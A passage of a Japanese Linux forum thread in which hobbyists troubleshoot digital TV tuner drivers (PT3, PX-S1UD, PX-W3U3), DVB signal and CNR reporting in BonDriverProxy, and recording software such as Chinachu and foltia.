と思ってるのですが、カーネルモジュールのビルドが難儀ですね。Friio黒、
MonsterTV HDは2senのソースが古いので自分には無理だとしか思えないです。
PX-S1UDはカーネル3.15からデフォルトで有効の様ですが、ubuntu14.01の
3.13では再ビルドが必要ですね。考え方が安易過ぎますが、以前、IDだけの
変更なんだしバイナリ直接いじって既存の使わないデバイスID置き換えたら
良いよねとか思ってやってみたらどダメだったのですよね。

http://cgi20.plala.or.jp/~sat/?x=entry:entry131128-172807
http://lxr.free-electrons.com/source/drivers/media/usb/siano/smsusb.c?v=3.1...#L656

Ubuntu14.01でPX-S1UD使えてる人っています?
コメント1件

686
login:Penguin[sage]   投稿日:2014/09/21 09:45:10  ID:8glTzj28.net(9)
>684
たしかに使う立場を考えるとそっちの方が便利ですね
confの#USEREADSNRで変更できるようにしました

>685
O_NONBLOCKを付けてないのは、つくり的にブロックされても構わないようにしているので意図してそうしています
標準でサポートされてない場合は、モノを持っててもそれを試す環境づくりが結構面倒ですよね…
コメント1件

687
684[sage]   投稿日:2014/09/21 10:52:10  ID:hbHUwz2C.net
>686
ありがとう

688
login:Penguin[sage]   投稿日:2014/09/21 11:32:44  ID:gZdOl1Ws.net(3)
>681,683,686

Friio白で表示されました。
シグナルレベルも以下からダウンロードしたWindowsのBonDriver3.1と
ほぼ同じ値です。

http://www.friio.com/download/


作業しながら思ったことをだらだらと書いておきます。

Friio白の場合、DVBのシグナルレベルはFE_READ_SIGNAL_STRENGTHでのみ
取得可能ですので#USEREADSNR=0でOKです。FriioDVBドライバのソース眺
めましたがFE_READ_SIGNAL_STRENGTHで返しているのはハードウェアの生値
の様ですしチップも東芝でPTXと同じなのでCNRの計算式も共通なのかなという
印象です。

後、Linuxは関係ありませんが、#USESERVICEID=0の場合、#ISDB_TのVHF帯等の
チャンネル1-C63を削除して13-62を0からリナンバリングしないとTVTestで
チャンネルスキャンに失敗するのですが自分の環境特有の話でしょうか?
待ち時間を最大の10秒とかにしてもです。

チャンネル1-C63を削除したくなければ、TVTestのチャンネルファイルの方を
手動で作成すれば良いので特に困ってはいないのですが。
コメント2件

689
login:Penguin[sage]   投稿日:2014/09/21 12:58:05  ID:bwPJwNB2.net(3)
DVBの開発者の間でも以前RSSIやCNRの値の報告の仕方がバラバラであることが問題になって、
DVB API v5では DVT_STAT_SIGNAL_STRENGTH DTV_STAT_CNRなどの測定値には
単位をつけるようになってる。 一般的なのは0.001dB(m) (FE_SCALE_DECIBEL)
PT1やFriioのDVBドライバは新しいのに対応して改修されていないけど
今レビュー中のPT3は対応してるよ (RSSIとCNR)

あとFriiioはRSSIでCNRを返してるという間違いがそのままになってる
コメント2件

690
login:Penguin[sage]   投稿日:2014/09/21 14:37:32  ID:8glTzj28.net(9)
pt3_dvbの最新入れてFE_READ_SNRの動作の確認しようとしたら変な値返してくるので、
もう一回ちゃんとソース確認してみると、FE_READ_SNRでシグナルレベルを返してきてました(;´Д`)
> …が、その後もうちょっと調べてみたらその次のバージョンではFE_READ_SIGNAL_STRENGTHに対してCNRを計算して
> 返すようになり
は、デバッグログの出力時にそれやってるのの見間違いだった様です
しかし、
> 今のバージョンではFE_READ_SIGNAL_STRENGTHは削除されて、その処理はそのままFE_READ_SNRで
> 使用されるようになってますね…
はその通りなので、結果的にFE_READ_SNRでシグナルレベルを返すと言う状態になってる様です
つまり、>680さんの書かれてた事がやっぱり正解でした

こうなるとおかしいのは明らかにpt3_dvb側なので、とりあえず、
https://github.com/knight-rider/ptx/blob/master/pt3_dvb/drivers/...
の400行目辺りと509行目辺りに、
---
.read_signal_strength = tc90522_read_snr,
---
を追加して、シグナルレベルを取得できるようにして使う感じでしょうか
#関数名はread_snrですが、シグナルレベル取得の関数です…

691
login:Penguin[sage]   投稿日:2014/09/21 14:40:10  ID:8glTzj28.net(9)
また、他のDVBドライバがどうかは知らないのですが、pt3_dvbはdemuxerのfd閉じる時に他のadapterにも
影響するようで、例えばadapter0とadapter2を両方使ってる時にadapter0のdemux0をclose()すると
adapter2側でドロップが発生する様です

これらの状況を考えると、PT3を使うなら少なくとも現状ではchardev版の方が良さそうな気はしますね
コメント2件

692
login:Penguin[sage]   投稿日:2014/09/21 14:55:16  ID:bwPJwNB2.net(3)
ちなみに >689 であげてたPT3のドライバってのは pt3_dvbとは別の
http://www.spinics.net/lists/linux-media/msg80603.html (のフォローアップ)
のことです

FE_READ_SIGNTAL_STRENGTHのioctlを使うよりも DTV_GET_PROPERTYを使って DTV_STAT_SIGNAL_STRENGTH(かDTV_STAT_CNR)プロパティを読むようにするのがAPIv5のやり方 FE_READ_SIGNAL_STRENGTHの方は古いAPIなので
各ドライバ独自の形式で返してくる & 値がu16なので負値を返せない
(RSSI[dBm]は通常マイナスの値となるはず?) という問題があるよ
http://linuxtv.org/downloads/v4l-dvb-apis/FE_GET_SET_PROPERTY.ht...#frontend-stat-properties
コメント5件

693
login:Penguin[sage]   投稿日:2014/09/21 18:57:12  ID:8glTzj28.net(9)
>688
使えたようで良かったです
チャンネルスキャンの件に関しては、TVTest側でどう判定してるのか調べてみないとちょっとわからないですねー

>689>692
まだまだインタフェース固め自体が過渡期って感じなんでしょうか
linuxを普通にデスクトップマシンとして使ってる人やっぱり少ないでしょうし、
あんまりモンクが出てこなさそうなのも一因でしょうか…

>692で教えていただいたパッチ当てて使ってみたら、>691の問題は発生しませんでした
これはやはり、pt3_dvbの固有の問題みたいですね
DTV_STAT_CNRでちゃんとCNRが返って来るのもソース/実行結果両方から確認できました

あと、>692の後者のリンクは読んでたんですが、DTV_STAT_CNRの項目に
---
FE_SCALE_DECIBEL - Signal/Noise ratio is in 0.0001 dB units.
---
てあるのは、やっぱり桁間違いですよね?
#DTV_STAT_CNRで返す場合は__s64なので1/10000でも表せる最大値の問題は無くなりますが…
コメント1件

694
login:Penguin[sage]   投稿日:2014/09/21 19:01:58  ID:8glTzj28.net(9)
今後の方向はDTV_STAT_CNRだと教えていただいたのでそちらに一本化したいところですが、
やはりまだ対応してないドライバが多いと言う事で、結局CNR取得方法の選択肢を増やしました(;´Д`)
confの設定名が、#GETCNRMODEに変わっています
0 : FE_READ_SIGNAL_STRENGTH / 1 : FE_READ_SNR / 2 : DTV_STAT_CNR
です
すみませんが、以前のconfの#USEREADSNRをこれに置き換えてください
コメント1件

695
login:Penguin[sage]   投稿日:2014/09/21 19:06:51  ID:8glTzj28.net(9)
あと、pt3_dvbは>691の問題がありますし、ソース読んでても気になる点がちょくちょくあるので、
個人的にはPT3でDVBドライバ使うなら>692のリンク先の物をお勧めします
#無事本家にマージされると良いのですが…

696
login:Penguin[sage]   投稿日:2014/09/21 20:16:44  ID:bwPJwNB2.net(3)
>693
statの報告については たしかに最近になって新インターフェースがv5に追加されてる
利用者がすくないせいで 最近になってアプリサイドから問題提起された感じじゃないのかな
だいたいlinuxのデスクトップ自体のシェアが1..2%で
その中でさらにDTVを見たい &ソース見て問題点を挙げる/改修する人の数は...

あとFE_SCALE_DECIBELの説明は桁間違いのはず;) 他のドライバも1/1000 dBで返してるので

697
login:Penguin[sage]   投稿日:2014/09/21 23:22:09  ID:IdcCM2hP.net
TsSplitterの処理は全く同じなら統合したいねぇ。

698
login:Penguin[sage]   投稿日:2014/09/21 23:22:23  ID:1RikBqg5.net
>666
わざわざDBにアクセスせずとも、atq で次回録画時間がわかったので、
http://airwhite.net/?p=786
・・・を書き換えてみました。

http://pastebin.com/LjGPkeMc

foltia AL 4.0.2で一応動作確認
at キューに入ってる直近の日時まで75分以上差があればサスペンドします。
EPG更新を考慮して予定の1時間前には復帰します。

foltia ユーザでの実行を想定してます。
中でsudo しているので /etc/sudoers への NOPASSWD 設定が必要です。

このシェルをどのタイミングで起動するかが課題です。

流れ無視して申し訳ないです。

699
login:Penguin[sage]   投稿日:2014/09/21 23:59:17  ID:gZdOl1Ws.net(3)
>694

BonDriverProxy + BonDriver_DVB.so + PX-S1UD が Ubuntu 14.01 で動きました。

http://blog.lwlv.net/archives/821

ドライバのビルドは上記の手順ほぼそのままでOKでした。

ただ、微妙に不安定な感じで、電源ON時にきちんと認識してくれないことが多いです。
ドライバ、PC、PX-S1UDどれの問題なのかは未確認です。

#GETCNRMODE=2でCNRが取れます。ドライバソース眺めても返している様ですし。
TVTestの表示が30dBぐらいで同じアンテナ線につないだBonDriver_LinuxPT(PT3)
でもそのぐらいです。WindowsのBonDriverは70-80とか表示するのですが何を
返しているのでしょうね?CNR*2だと合わないですが。

SetChannel() timeout: adapter4

PT3と比べるとチャンネル変更が遅く感じます。なにかもっさりした感じです。
チャンネル変更時にBonDriver_DVBがたまにtimeoutしたと上のエラーを表示します。
ただ、そういう場合でもTVTestのチャンネル変更は成功して映像は表示されます。

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/devel...#L648

チャンネル変更が成功したかどうかを 250ms * 4 で最大1秒待っているのを * 8 の
2秒程度にするとtimeoutのエラーは表示されなくなりました。250ms * 4 は PT1DVB
の数値(tune.c)かな?と思いますがチューナーによってこの辺も微妙に違うのですね。
コメント2件

700
login:Penguin[sage]   投稿日:2014/09/22 03:35:08  ID:RCw937p9.net
基本的な質問になるけど、CASを刺してない場合にストリームがヌルになって何も見れない
(後でb25使おうにも使いようがない)っていう
去年くらいのfuse_b25のクソ仕様は継承されてるのですかね?
この問題が無ければ、挑戦してみたいんだけど。
recpt1でやってます。

701
login:Penguin[sage]   投稿日:2014/09/22 19:23:09  ID:DJmrXEBd.net
>688
TVTestのチャンネルスキャンのタイムアウトは、TVTest内でのデッドロック由来みたいでした
TVTestはロックを取得してからイベントキューにチャンネル変更のリクエストを放り込みますが、
イベント処理スレッドでは、そのリクエストを処理する前に同じロックの取得待ちが発生する場合があります
こうなるとスキャンの待ち時間に関係なく必ずタイムアウトになるので、結果チャンネルスキャン失敗となるようです
TVTestのビルドスレは開発者の方も見てるみたいなので、報告しておきました

>699
おお、よかった
チャンネル変更時の挙動は、チューナだけでなくドライバとかによっても異なりますね
PT3のchardev版では、受信できない周波数へのioctl(SET_CHANNEL)を行うと8秒ほど返って来なくなるので、
チャンネルスキャンにかなり時間がかかったりします
そう言う意味では、DVB版はチューナに合わせて調整しやすくて良いかもしれませんね

702
login:Penguin[sage]   投稿日:2014/09/23 21:08:12  ID:4laAyCHM.net(2)
>698
foltia AL の予約時間はatq で、
録画有無はrecpt1プロセスの有無で、
変換有無はffmpegプロセスの有無で判定できる。
後の課題は映像配信中かどうかの判定。
これさえできればcronで定期的にこのスクリプトを走らせればsuspend運用が可能になるはず。
(必要なときの電源ONはWoLを想定)

DLNAで配信してるか否かは localhost:8200 にhttpアクセスすればわかるけど、
ApacheでWeb配信しているかどうかが判定できない・・・。
netstat で httpの ESTABLISH を見ればいいと思ったけど、
Webプレーヤーで視聴中でも表示されないですねぇ。。。

なんかいいアイデアありませんかね?

703
login:Penguin[sage]   投稿日:2014/09/23 22:12:40  ID:Nn7+SBVJ.net
個人的には、
一定時間sleepの前後で ifconfig eth0 の in と out を足して
一定以下なら rtcwake するのを動かしてる

再起動時には毎回手動だけど、vnc 上で

704
login:Penguin[sage]   投稿日:2014/09/23 22:21:28  ID:4laAyCHM.net(2)
>703
具体的にどんなコード書いてるか教えていただけないでしょうかm(__)m
再起動がVNCってのは intel vPro 付きのマシンでやってるってことですかね?

705
login:Penguin[sage]   投稿日:2014/09/23 23:30:54  ID:Zj70CTbe.net
/proc/net/devを読むのはどうでしょう?
rootじゃなくても良いし…
-r--r--r-- 1 root root 0 Sep 23 23:28 /proc/net/dev

grep eth0 /proc/net/dev | sed 's/ \+/\t/g' | cut -f11

706
login:Penguin[sage]   投稿日:2014/09/24 02:00:15  ID:MOmElMpN.net
/proc/diskstats でディスクの活動をチェックするのも良いかな

707
login:Penguin[sage]   投稿日:2014/09/24 02:04:13  ID:/s6jH7eY.net
mod_statusでわからんか

708
login:Penguin[sage]   投稿日:2014/09/25 09:03:47  ID:vw+3DDLO.net
みんなありがとう〜
>703
rtcwake は知らなかった。 元スクリプトもそうだけど、
sudo sh -c "echo〜 とやってて sh に対しての sudoers 設定が必要でした
 sh を NOPASSWD実行させるのはセキュリティ的にアレと思ってたけど、これなら良いですね

>707
foltia AL の CentOS6.5のApache2.2 には標準で読み込まれてるので
 ディレクティブ設定すればstatus取れました。
 でも、tcpdump してみてわかったけど、Web Playerは常時ストリーミング転送するわけじゃなくて
 一定期間ごとに直近映像ブロックをhttpで転送してコネクションを切っちゃうので
 有意な値を取れませんでした。。。

>705,706
 助言いただいたように、eth0 の L2レイヤのデータ転送量とディスク活動量をみて
 「なんとなく判断する」のが当面の解決策ですね。ありがとうございます。
 「使用中」と判断するしきい値をどうするかがtry&error ですね。

 >703 の事例を是非参考にさせていただきたく。。。
 

709
login:Penguin[sage]   投稿日:2014/09/28 01:17:03  ID:kGukxwIm.net
Raspberry PiでPX-S1UDを
http://deepntechnical.blogspot.jp/2014/07/raspberry-pipx-s1ud.html?m=1
これを参考にドライバを入れました
そこにBondriver proxy_linuxを実行したところチャンネル指定時に
SetChannel() timeout: adapter0
と表示され映像が映りません。
何が原因かわかったら教えていただきたいです。

710
login:Penguin[sage]   投稿日:2014/09/28 02:42:54  ID:UKXPJ+IB.net
エスパー期待されても困るよ。
straceやdmesgの結果くらいは出して欲しい。

711
login:Penguin[sage]   投稿日:2014/09/28 09:27:31  ID:r3Z8zE+X.net(4)
BonDriverProxy + PX-S1UD + Raspberry Pi (Raspbian)+TVTest
の構成で昨日から作業してやって今手元で動いてる。ほぼ同じ構成ってことで。

uname -a
Linux mysv504 3.12.28+ #709 PREEMPT Mon Sep 8 15:28:00 BST 2014 armv6l GNU/Linux

そのエラーはチェンネル変更に失敗したら出る。
自分がやったけどファームの入れ忘れでも出る。
もちろんチャンネル番号が間違ってても出る

dmes | grep firmware で以下のエラーが出ていたらファームの入れ忘れ。
[ 5.452979] smscore_load_firmware_from_file: line: 1168: failed to open firmware file "isdbt_rio.inp"

ファームを入れたら再起動する。
どこからダウンロードするかとかダウンロード時の注意(wgetで失敗する)とか
どこに入れるんだとかは>699のURLか以下が参考になる。ファームは32,64bitの
両方のディレクトリに入っているけどどっちでも同じ。
http://gametricks.blog40.fc2.com/blog-entry-81.html

Raspbian(Debian)はDVB関係が古くて#GETCNRMODE=2でCNRは取得できない。
#GETCNRMODE=1でもほぼゼロしかならない。#GETCNRMODE=0は値が異常。
なので、CNRを取得する方法はなさそう。

というか Raspbian のカーネル3.12.28+で自分でビルドしたドライバをmodprobe
するとカーネルが落ちるんだけど問題ない?結局上のURLからたどれたsmsusb.koを
直接書き換える方法で使ってる。

【ARM】 Raspberry Pi Ver.7 /自作PC板
コメント1件

712
login:Penguin[sage]   投稿日:2014/09/28 09:50:14  ID:r3Z8zE+X.net(4)
>> dmes | grep firmware で以下のエラーが出ていたらファームの入れ忘れ。
dmesg | grep firmware

713
login:Penguin[sage]   投稿日:2014/09/28 12:29:54  ID:smu24UAt.net
>711
ファームの入れ忘れでした…
ありがとうございました!

714
login:Penguin[sage]   投稿日:2014/09/28 12:50:43  ID:r3Z8zE+X.net(4)
自分で書いておいてなんですが。

> Raspbian(Debian)はDVB関係が古くて#GETCNRMODE=2でCNRは取得できない。
BonDriver_DVB.cpp のコンパイルエラーは /usr/include/linux/dvb/frontend.h が
Debianだと古くstruct dtv_property に struct dtv_fe_stats st メンバがないのが原因
なので、存在するファイル(例えば、Ubuntuとからファイルを持ってきて)を代わりに
includeすればコンパイル可能で値も取得できました。ただ、Ubuntuの場合と値が明らかに
違うので正しいかは不明です。

> #GETCNRMODE=1でもほぼゼロしかならない。
http://lxr.free-electrons.com/source/drivers/media/common/siano/smsdvb-main...#L810
他のドライバでもこうなのかなあ?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/devel...#L759
1/1000をやめると確かに値は帰ってきますね。

>#GETCNRMODE=0は値が異常。
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/devel...#L764
サポートされていないとsignal=0になるようなので
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/devel...#L245
signal>0 のガードを入れておくのが良いかなあと。
コメント2件

715
login:Penguin[sage]   投稿日:2014/09/28 13:01:32  ID:r3Z8zE+X.net(4)
>サポートされていないとsignal=0になるようなので
日本語が意味不明ですね。ioctl<0にならなくてsignal=0で帰ってくる
場合がある様だということです。

716
login:Penguin[sage]   投稿日:2014/09/28 15:35:26  ID:znqq1d0S.net
PT3と本家のrecpt1最新版で録画してるのですが、
録画時間を超えてもrecpt1が終了せずチューナーを占有されて一部録画に失敗しました。
終了しなかったrecpt1の出力ファイルの最終更新は予定の録画終了時刻だったので、
終了しようとした形跡はあるようです。
どなたか原因わかる方いらっしゃいませんか。

717
login:Penguin[sage]   投稿日:2014/09/28 23:56:34  ID:Weh/2lnJ.net
>714
> #GETCNRMODE=1でもほぼゼロしかならない。

ちょうど先週話題になった件ですね
FE_READ_SNRで取得できる値はドライバ毎に好きにやってて、精度が統一されていないようです
http://lxr.free-electrons.com/source/drivers/media/common/siano/smsdvb-main...#L800
では、0.1dBって書いてありますね
なので、BonDriver_DVB.cppで1000で割ってるのを10に変えるとそれなりの値になるかもしれません

現状では、#GETCNRMODEを2で使えるドライバでない限り、BonDriver_DVBが返す値は変な値になる
可能性がある、て事ですね
逆に、自分が使用しているチューナ用のドライバのソースから、返してきてる単位/精度がわかるなら、
BonDriver_DVB.cppの該当箇所をそれ用にいじって使うのが一番確実でしょうね
コメント1件

718
login:Penguin[sage]   投稿日:2014/09/29 07:09:29  ID:DL/mCJ0i.net
>717

>なので、BonDriver_DVB.cppで1000で割ってるのを10に変えるとそれなりの値になるかもしれません
1/10で>714で書いた#GETCNRMODE=2を有効にした場合と一致しました。

>ただ、Ubuntuの場合と値が明らかに違うので正しいかは不明です。
再確認したらそれなりに似た値でした。違うチャンネルで値を比較してそう思い込んでいました。
あまり電波状態の良くないアンテナ入力なのでチャンネル差が結構あるようです。

現時点のDebianでPX-S1UDを使う場合は、BonDriver_DVB.cppの以下を 1000 から 10 修正して
#GETCNRMODE=1 で使うのが良さそうですね。Ubuntuなら#GETCNRMODE=2でOKです。
自分で使うのは設定ファイルで倍率(1/10=0.1)みたいな感じで読むようにしとくかなあと思っています。
なんかいまいちな解決方法ですが

https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/maste...#L728

719
login:Penguin[sage]   投稿日:2014/09/29 12:01:34  ID:uB5gD6UG.net
chinachuのライブ視聴(m2ts無変換のxspf)なんだけど
avconvが落ちて再生始まらないのはなんだろう?
SDは概ね再生出来るっぽくHD/FHDは大抵コケるっぽい(´・ω・`)
ちなみに録画したものは問題なく再生出来てる

720
login:Penguin[sage]   投稿日:2014/09/29 16:52:29  ID:7oyx3tq2.net
ほとんどの録画ソフトはスポーツ中継や特番なんかの放送時間延長には対応してないようだけど、
その番組の後の番組の時間変更(くり下げ、くり上げ)も対応してないのかな?

721
login:Penguin[sage]   投稿日:2014/09/29 17:53:07  ID:kH+LeVtI.net
Windows系のフリーの録画ソフトはむしろ大抵延長対応してる
ここはchinachuのわりと致命的な欠点

722
login:Penguin[sage]   投稿日:2014/09/29 18:30:59  ID:YY/0p21J.net
やはり録画環境ではWindowsに一歩二歩劣るな…

723
login:Penguin[sage]   投稿日:2014/09/29 18:42:37  ID:+otmu0ib.net
録画機をwindowsからlinuxに移行しようかと思ってたが、この問題があるから諦めた。

724
login:Penguin[sage]   投稿日:2014/09/29 19:42:46  ID:HBTrRVUB.net
もういっそ全録で対抗しちくり
番組ごとに別ファイルで記録してくやつ

しょぼいスクリプトしか書けないが全録ソフトできたらプロジェクトの支援する
B25触らなければ純然たる合法ソフトだし(で、誰か、がコソーリ…w

725
login:Penguin[sage]   投稿日:2014/09/29 23:31:43  ID:5wGIfjXB.net
いま開発中の、次期バージョンChinachu"usushio"で
放送時間延長とかに対応するって見た覚えが・・・。

ライブ視聴も、現在の実装方法とは違う新たな方法で実現するらしい。

726
login:Penguin[sage]   投稿日:2014/09/29 23:38:58  ID:8FKhSn8O.net
epgrec UNAが対応してるよ
おかげで力士のケツを見なくて済んだw
あと MythTVもじゃないかな

他にも探せばあるんじゃないかな

727
login:Penguin[sage]   投稿日:2014/09/30 11:42:17  ID:Xn4Wh5en.net
dvb_apps の録画スクリプトは一応対応してるだろ

728
login:Penguin[sage]   投稿日:2014/09/30 11:55:48  ID:iwduFy7p.net
GV-USB2使えるようにならねえかなあ
コメント1件

729
login:Penguin[sage]   投稿日:2014/10/01 23:28:07  ID:mSFbOiq9.net
BonDriver_LinuxPTでPX-W3U3も動作するのか確認してみました。
PX-W3U3はUSB接続の4チューナーモデルです。

$ cat /etc/redhat-release
CentOS release 6.5 (Final)
$ uname -a
Linux mysv502 2.6.32-431.29.2.el6.x86_64 #1 SMP
Tue Sep 9 21:36:05 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

・PX-W3U3に付属のACアダプタを接続しないとチューナーを半分しか
認識しません。まあこれはそういうものなのでしょうね。

・本家ドライバってどうやって使うのでしょうか?
http://www.plex-net.co.jp/product/pxw3u3_download.html
これに入っているas11usbdtv.koをinsmodすると/dev/as11usbdtv0
/dev/as11usbdtv1の2個しかデバイスファイルができません。
BonDriver_LinuxPTが想定しているデバイスファイル名とは違うので
修正が必要ですが修正して確認する気になれませんでしたので省略します。

以下、動作確認という名目でfoltiaからドライバファイル(pxw3u3.ko)を
借りてきて確認した結果です。

・デバイスファイルは/dev/pxw3u30-/dev/pxw3u33の4個作成されます。
・BonDriverProxy + TVTestでTVTest側でチャンネルを切り替えると
映像が表示される場合はあるのですが、フリーズする場合があります。
発生条件は明確ではないのですがチャンネル変更している内に突然という
感じです。1回目の変更でフリーズする場合もあります。フリーズすると
Pingにも応答しません。電源OFFするしかない状態です。何が原因かよく
分かりませんがうまく動作してくれないようです。
コメント2件

730
login:Penguin[sage]   投稿日:2014/10/02 01:55:32  ID:cIllcodc.net
>728
Linuxじゃts抜きが出来るようなタイプじゃないと無理やろ

731
login:Penguin[sage]   投稿日:2014/10/02 02:27:28  ID:oJZcKZhT.net
>729
ついでにfoltiaのrecpt1で動作確認してみたら?
もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時でないとSET_CHANNELできないとかの可能性はあるかもね
マニュアルある訳じゃないからいろいろ試さないと実際どうなのかはわからないだろうけど

ただ、できないだけならともかくOSごと固まるのは、どう考えてもクソドライバ乙じゃないかなぁ
コメント2件

732
login:Penguin[sage]   投稿日:2014/10/03 00:45:19  ID:bJNcwhax.net(2)
>731

> ついでにfoltiaのrecpt1で動作確認してみたら?
確かにそうですね。再確認してみました。

・foltiaのrecpt1での確認
foltiaのrecpt1を使ってチャンネル変更、30秒録画を繰り返す
スクリプトを書いて実行してみました。特に問題なく動作します。
もちろん、OSもフリーズしません。

# recpt1
pt1dev=/dev/pxw3u30
chnos="101 103 141 151 161 171 181"
sec=30
rec=pt1
for ch in ${chnos}
do
log=${rec}_${ch}.trace
ts=${rec}_${ch}.ts
strace -o ${log} recpt1 --device ${pt1dev} ${ch} ${sec} ${ts}
done

・BonDriverProxyのsampleでの確認
同様にsampleでもチャンネル変更、30秒録画を繰り返すスクリプトを
書いて実行してみましたがこちらも問題なく動作します。

> もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時
> でないとSET_CHANNELできないとかの可能性はあるかもね

おお、まさにそういう感じがします。
コメント1件

733
login:Penguin[sage]   投稿日:2014/10/03 07:03:45  ID:bJNcwhax.net(2)
>732の続きです。単純にBonDriver_LinuxPT.cppのSET_CHANNELの前後に
fprintfを追加しWindowsのTVTestからチャンネル変更して確認してみました。

fprintf(stderr, "ioctl(SET_CHANNEL) Start\n");
if (::ioctl(m_fd, SET_CHANNEL, &(g_stChannels[g_Type][dwChannel].freq)) < 0)
{
::fprintf(stderr, "SetChannel() ioctl(SET_CHANNEL) error: %s\n", g_Device);
goto err;
}
fprintf(stderr, "ioctl(SET_CHANNEL) End\n");

ioctl(SET_CHANNEL) Start
ioctl(SET_CHANNEL) End
ioctl(START_REC) Start
ioctl(START_REC) End
ioctl(SET_CHANNEL) Start
ここでフリーズ。

> もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時
> でないとSET_CHANNELできないとかの可能性はあるかもね

これです…。
しかし>729みたいな文章でこの原因を推測できたことが驚きです。

とりあえず、SET_CHANNEL前にSTOP_RECでも入れて状態を見てみれば
良いのかな。
コメント1件

734
login:Penguin[sage]   投稿日:2014/10/03 19:03:54  ID:Q+yXHr/N.net

735
login:Penguin[sage]   投稿日:2014/10/05 12:44:49  ID:/R6zBrak.net
>734

修正を適用した所、快調に動作しています。

なるほど、TsReaderのスレッド止めてSTOP_RECするのが確実なのですね。
スレッドを止めずにSTOP_RECするだけの修正を自分なりに試していたの
ですがチャンネル変更後しばらくしたら突然フリーズしたりして不安定でした。

対応ありがとうございます。
>731の書き込みが非常に参考になりました感謝です。

736
login:Penguin[sage]   投稿日:2014/10/05 14:02:05  ID:bjGIp0S3.net
セレの4コアだったらエンコードキツイ?
CPUの周波数はどれぐらいあればいいかな?
コメント1件

737
login:Penguin[sage]   投稿日:2014/10/05 14:33:07  ID:vvB7mzx9.net
HDD修理出して再インスコしようとしてるんだけど
ChinachuでH265にするメモサイトどこか忘れた
誰か知らない??

738
login:Penguin[sage]   投稿日:2014/10/05 21:02:00  ID:k7rYE0OR.net
Chinachuって録画時間の調整ってできますか?
毎回、NHKの番組が尻切れになってしまうので5秒ほど長くしたい
コメント1件

739
login:Penguin[sage]   投稿日:2014/10/05 21:16:00  ID:YiWRrpw5.net
>736
エンコ時間にこだわりなけりゃCPUはなんでもOKとしか・・・

740
login:Penguin[sage]   投稿日:2014/10/05 22:12:28  ID:R7okN6gm.net
録画だけならAtomでも問題ない

741
login:Penguin[sage]   投稿日:2014/10/06 03:15:35  ID:B/4mJ+b9.net
>738
githubのwikiにconfig.jsonの仕様書が
あるので読もう

742
login:Penguin[]   投稿日:2014/10/06 07:13:23  ID:HBWXiK3L.net
まだ使い物にならないみたいだな
コメント1件

743
login:Penguin[sage]   投稿日:2014/10/06 11:44:43  ID:AQoSxgcQ.net
わかつきなんとかを思い出して不愉快なネーミング
キュートじゃない…

744
login:Penguin[sage]   投稿日:2014/10/06 13:31:49  ID:WxUDWqpO.net
>742-743
まだまだだね
PPA対応でないのも不便だし

745
login:Penguin[sage]   投稿日:2014/10/06 18:04:32  ID:L+ondwPz.net
最初見た時、チャイナちゅか…なんか嫌だな。
と思って避けてたけど、試してみたら思いの外良かった

746
login:Penguin[sage]   投稿日:2014/10/06 19:18:06  ID:lkHPONQc.net
まだ時間延伸に対応してないしバグで録画に失敗するようじゃ話にならないけどね

747
login:Penguin[sage]   投稿日:2014/10/06 22:36:03  ID:ExHJ9qRs.net
ffplayというかavplayで

〉avplay version 0.8.16-4:0.8.16-0ubuntu0.12.04.1, Copyright (c) 2003-2014 the Libav developers
〉 built on Sep 16 2014 18:33:49 with gcc 4.6.3
〉【新】ガンダムGのレコンギスタ 初回1時間スペシャル #01,#02【字】_10040235_3630.ts: Invalid data found when processing input

というエラーが出るってことは、致命的に録画失敗しているよな?
これどういう状況なんだろう?
ほか、いくつか失敗しているけど10/4深夜以前には無かった。


少し前にB-CASカードリーダーのエラーでワンセグしか再生できなくて
アンテナ線は点検したつもり
今回のものはb25コマンドでも
processing: 0.21% error - failed on ARIB_STD_B25::put() : code=-4
と出るんだけど、それが意味するものはわかんないや。
コメント4件

748
login:Penguin[sage]   投稿日:2014/10/06 23:32:48  ID:w9ms6akS.net
>747
ウチも似た現象が最近起きている。
pcscd関連アプデしてからおかしくなったような。

749
login:Penguin[sage]   投稿日:2014/10/06 23:49:16  ID:ecIyvYSh.net
>747

b25_decode failedと言われるとき

code=-4の場合:データが壊れている(=信号が弱すぎ)ためにデコードできない可能性あり。
checksignalして23db程度しか出ていない場合、配線やアンテナを見直す。

http://archive.side2.net/wiki/index.php?Computer/Linux/PT2

750
login:Penguin[sage]   投稿日:2014/10/07 00:12:45  ID:i6osU41f.net
>747
libarib25に>649のパッチ当ててみては?
コメント1件

751
login:Penguin[sage]   投稿日:2014/10/07 00:15:55  ID:DdqDG/NF.net
Linuxで録画するのも楽じゃないな…

752
747[sage]   投稿日:2014/10/07 12:10:19  ID:rELLa1S8.net
いや、シグナルはかなり弱いんだよね。
2年くらいの間、普通に録画できていたんだけど

安アパートのアンテナ設備自体が老朽化しているみたいで
数値は忘れたけど、20db切っている。

結局前回のトラブルは、B-CASカードのほうで
シグナルは弱いまま、また2ヶ月くらい普通に動いていた。


libarib25のパッチは、PC組み直すつもりでいたから
2枚挿しにするつもりで買ってあったPT2で
新規組んでから検討してみます。

B-CASカード読めない状態で録画したtsを
Atom330でb25コマンドで処理すると、すげぇ時間かかんの (;_;)
最低J1900狙いで、秋葉原行ってくる

空きの多いアパートだから
大家もアンテナ改修とか渋るんだろうしなぁ…

753
login:Penguin[sage]   投稿日:2014/10/07 13:01:02  ID:osxhI4Fg.net
UAH810でも買いなさいな

754
login:Penguin[sage]   投稿日:2014/10/07 15:25:49  ID:WGAZdd+h.net
空きが多いなら>747は貴重な店子だろ
そこで大家が渋るなら「こんな糞アパート出ていく」って言えば折れるよ

755
login:Penguin[sage]   投稿日:2014/10/07 16:21:17  ID:7fUFFLhc.net
「出てって欲しい 高く取れる物件に新築したい」
って思ってるかも

756
login:Penguin[sage]   投稿日:2014/10/07 17:48:43  ID:2Al9nOX/.net
アンテナ線が余ってるならそれでスリーブアンテナを作って試してみるといいよ

757
login:Penguin[sage]   投稿日:2014/10/07 21:02:59  ID:2ls49AqY.net
オープンソースのマルチメディアフレームワーク「FFmpeg 2.0」が公開 - 窓の杜
